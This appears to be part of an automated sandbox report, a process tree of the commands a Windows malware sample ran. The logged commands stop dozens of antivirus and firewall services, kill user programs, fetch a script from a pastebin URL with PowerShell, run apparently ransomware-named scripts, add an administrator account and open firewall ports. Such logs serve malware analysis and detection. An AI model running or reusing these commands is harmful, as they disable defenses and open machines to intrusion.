- C:\Windows\system32\net.exe
  net stop InoRT /y
  2⤵
  PID:1488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop InoRT /y
    3⤵
    PID:1092
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto Protect Service" /y
  2⤵
  PID:1616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Auto Protect Service" /y
    3⤵
    PID:1712
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "norton AntiVirus Auto Protect Service" /y
      4⤵
      PID:1616
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Corporate Edition" /y
  2⤵
  PID:1964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Corporate Edition" /y
    3⤵
    PID:904
- C:\Windows\system32\net.exe
  net stop "ViRobot Professional Monitoring" /y
  2⤵
  PID:1680
- C:\Windows\system32\net.exe
  net stop "McAfee.com McShield" /y
  2⤵
  PID:1096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfee.com McShield" /y
    3⤵
    PID:2000
- C:\Windows\system32\net.exe
  net stop "McAfee.com VirusScan Online Realtime Engine" /y
  2⤵
  PID:560
- C:\Windows\system32\net.exe
  net stop "SyGateService" /y
  2⤵
  PID:1564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SyGateService" /y
    3⤵
    PID:1092
- C:\Windows\system32\net.exe
  net stop "Sophos Anti-Virus" /y
  2⤵
  PID:780
- C:\Windows\system32\net.exe
  net stop "Sophos Anti-Virus Network" /y
  2⤵
  PID:524
- C:\Windows\system32\net.exe
  net stop "eTrust Antivirus Job Server" /y
  2⤵
  PID:564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "eTrust Antivirus Job Server" /y
    3⤵
    PID:1548
- C:\Windows\system32\net.exe
  net stop "eTrust Antivirus Realtime Server" /y
  2⤵
  PID:296
- C:\Windows\system32\net.exe
  net stop "Sygate Personal Firewall Pro" /y
  2⤵
  PID:1620
- C:\Windows\system32\net.exe
  net stop spoolnt
  2⤵
  PID:1320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop spoolnt
    3⤵
    PID:1880
- C:\Windows\system32\rundll32.exe
  RUNDLL32 USER32.DLL SwapMouseButton
  2⤵
  PID:1520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:1816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1912
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:640
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1548
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1680
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ViRobot Professional Monitoring" /y
      4⤵
      PID:1584
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop helpsvc /y
      4⤵
      PID:1584
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1016
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1332
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Trend NT Realtime Service" /y
      4⤵
      PID:848
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:848
- C:\Windows\system32\tskill.exe
  tskill iexplore
  2⤵
  PID:692
- C:\Windows\system32\net.exe
  net stop netsvcs
  2⤵
  PID:660
- C:\Windows\system32\net.exe
  net stop "eTrust Antivirus RPC Server" /y
  2⤵
  PID:1400
- C:\Windows\system32\tskill.exe
  tskill excel
  2⤵
  PID:1356
- C:\Windows\system32\tskill.exe
  tskill iTunes
  2⤵
  PID:1916
- C:\Windows\system32\tskill.exe
  tskill msnmsgr
  2⤵
  PID:1092
- C:\Windows\system32\tskill.exe
  tskill calc
  2⤵
  PID:780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sophos Anti-Virus" /y
    3⤵
    PID:784
- C:\Windows\system32\tskill.exe
  tskill msaccess
  2⤵
  PID:1280
- C:\Windows\system32\tskill.exe
  tskill safari
  2⤵
  PID:1704
- C:\Windows\system32\tskill.exe
  tskill mspaint
  2⤵
  PID:1672
- C:\Windows\system32\tskill.exe
  tskill outlook
  2⤵
  PID:1592
- C:\Windows\system32\tskill.exe
  tskill msnmsgr
  2⤵
  PID:1660
- C:\Windows\system32\tskill.exe
  tskill firefox
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1344
- C:\Windows\system32\tskill.exe
  tskill LimreWire
  2⤵
  PID:584
- C:\Windows\system32\tskill.exe
  tskill WINWORD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2020
- C:\Windows\system32\net.exe
  net stop "Sygate Personal Firewall Pro" /y
  2⤵
  PID:852
- C:\Windows\system32\net.exe
  net stop "Trend NT Realtime Service" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1332
- C:\Windows\system32\net.exe
  net stop "Trend Micro Proxy Service" /y
  2⤵
  PID:948
- C:\Windows\system32\net.exe
  net stop "PC-cillin Personal Firewall" /y
  2⤵
  PID:832
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Client" /y
  2⤵
  PID:2008
- C:\Windows\system32\net.exe
  net stop InoTask /y
  2⤵
  PID:1676
- C:\Windows\system32\net.exe
  net stop InoRPC /y
  2⤵
  PID:712
- C:\Windows\system32\net.exe
  net stop "DefWatch" /y
  2⤵
  PID:364
- C:\Windows\system32\net.exe
  net stop "Nav Auto-Protect" /y
  2⤵
  PID:948
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto Protect Service" /y
  2⤵
  PID:1712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop navapsvc /y
    3⤵
    PID:1052
- C:\Windows\system32\net.exe
  net stop ccPwdSvc /y
  2⤵
  PID:1500
- C:\Windows\system32\net.exe
  net stop "*McAfee*" /y
  2⤵
  PID:336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMGR /y
    3⤵
    PID:1044
- C:\Windows\system32\net.exe
  net stop "*Symantec*" /y
  2⤵
  PID:584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest https://pastebin.com/raw/2K5m42Xp -outfile ycynlog.cmd"
  2⤵
  PID:852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K 2b2crypt.m.cmd
  2⤵
  PID:712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K 2b2crypt.cmd
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:692
- C:\Windows\system32\net.exe
  net stop helpsvc /y
  2⤵
  PID:1680
- C:\Windows\system32\net.exe
  net stop mcupdmgr.exe /y
  2⤵
  PID:108
- C:\Windows\system32\net.exe
  net stop MskService /y
  2⤵
  PID:856
- C:\Windows\system32\net.exe
  net stop "norton Unerase Protection" /y
  2⤵
  PID:1356
- C:\Windows\system32\net.exe
  net stop "Symantec Network Drivers Service" /y
  2⤵
  PID:1520
- C:\Windows\system32\net.exe
  net stop ccEvtMGR /y
  2⤵
  PID:336
- C:\Windows\system32\net.exe
  net stop NProtectService /y
  2⤵
  PID:432
- C:\Windows\system32\net.exe
  net stop SAVScan /y
  2⤵
  PID:1552
- C:\Windows\system32\net.exe
  net stop MonSvcNT /y
  2⤵
  PID:1548
- C:\Windows\system32\net.exe
  net stop navapsvc /y
  2⤵
  PID:1712
- C:\Windows\system32\net.exe
  net stop "Ahnlab Task Scheduler" /y
  2⤵
  PID:1236
- C:\Windows\system32\net.exe
  net stop "McAfee SecurityCenter Update Manager" /y
  2⤵
  PID:1560
- C:\Windows\system32\net.exe
  net stop "McAfee Personal Firewall Service" /y
  2⤵
  PID:1132
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto Protect Service" /y
  2⤵
  PID:660
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto-Protect Service" /y
  2⤵
  PID:904
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Firewall Monitor Service" /y
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1704
- C:\Windows\system32\net.exe
  net stop "Automatic Updates" /y
  2⤵
  PID:572
- C:\Windows\system32\net.exe
  net stop "Security Center" /y
  2⤵
  PID:1488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:596
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:1912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2108
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2452
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2604
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2740
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1676
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2244
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2232
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2516
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2756
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2852
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2536
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2720
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2860
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1880
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2188
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2776
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2992
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1880
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2496
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2972
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2132
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1676
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2720
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2640
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2672
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:1992
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1356
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:1280
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1488
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2232
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2376
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2488
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2968
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2328
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2648
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2832
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3000
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2428
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2680
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2828
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2104
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1560
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2756
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2872
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1584
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2180
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2224
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2252
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3012
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2256
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2284
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2584
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2652
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2064
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3036
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2184
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2388
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2256
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2140
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2276
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2044
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2724
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2748
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2864
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2260
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2316
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2820
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2836
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2892
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3064
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2972
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2700
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2164
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:548
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2680
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2300
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3008
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:396
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2472
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2556
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2832
